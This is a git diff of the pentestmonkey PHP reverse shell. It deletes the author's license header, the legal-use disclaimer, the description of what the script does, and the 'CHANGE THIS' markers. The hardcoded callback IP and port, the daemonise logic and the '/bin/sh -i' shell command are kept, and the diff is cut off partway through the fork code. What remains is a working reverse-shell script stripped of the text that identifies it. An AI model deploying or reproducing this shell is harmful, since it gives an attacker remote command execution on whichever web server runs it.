diff --git a/php-reverse-shell.php b/php-reverse-shell.php
index 1286594..753b2e0 100644
--- a/php-reverse-shell.php
+++ b/php-reverse-shell.php
@@ -1,53 +1,8 @@
 <?php
-// php-reverse-shell - A Reverse Shell implementation in PHP
-// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
-//
-// This tool may be used for legal purposes only.  Users take full responsibility
-// for any actions performed using this tool.  The author accepts no liability
-// for damage caused by this tool.  If these terms are not acceptable to you, then
-// do not use this tool.
-//
-// In all other respects the GPL version 2 applies:
-//
-// This program is free software; you can redistribute it and/or modify
-// it under the terms of the GNU General Public License version 2 as
-// published by the Free Software Foundation.
-//
-// This program is distributed in the hope that it will be useful,
-// but WITHOUT ANY WARRANTY; without even the implied warranty of
-// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-// GNU General Public License for more details.
-//
-// You should have received a copy of the GNU General Public License along
-// with this program; if not, write to the Free Software Foundation, Inc.,
-// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-//
-// This tool may be used for legal purposes only.  Users take full responsibility
-// for any actions performed using this tool.  If these terms are not acceptable to
-// you, then do not use this tool.
-//
-// You are encouraged to send comments, improvements or suggestions to
-// me at pentestmonkey@pentestmonkey.net
-//
-// Description
-// -----------
-// This script will make an outbound TCP connection to a hardcoded IP and port.
-// The recipient will be given a shell running as the current user (apache normally).
-//
-// Limitations
-// -----------
-// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
-// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
-// Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.
-//
-// Usage
-// -----
-// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
-
 set_time_limit (0);
 $VERSION = "1.0";
-$ip = '192.168.8.130';  // CHANGE THIS
-$port = 1234;       // CHANGE THIS
+$ip = '192.168.8.130';
+$port = 1234; 
 $chunk_size = 1400;
 $write_a = null;
 $error_a = null;
@@ -55,12 +10,6 @@ $shell = 'uname -a; w; id; /bin/sh -i';
 $daemon = 0;
 $debug = 0;
 
-//
-// Daemonise ourself if possible to avoid zombies later
-//
-
-// pcntl_fork is hardly ever available, but will allow us to daemonise
-// our php process and avoid zombies.  Worth a try...
 if (function_exists('pcntl_fork')) {
 	// Fork and have the parent process exit
 	$pid = pcntl_fork();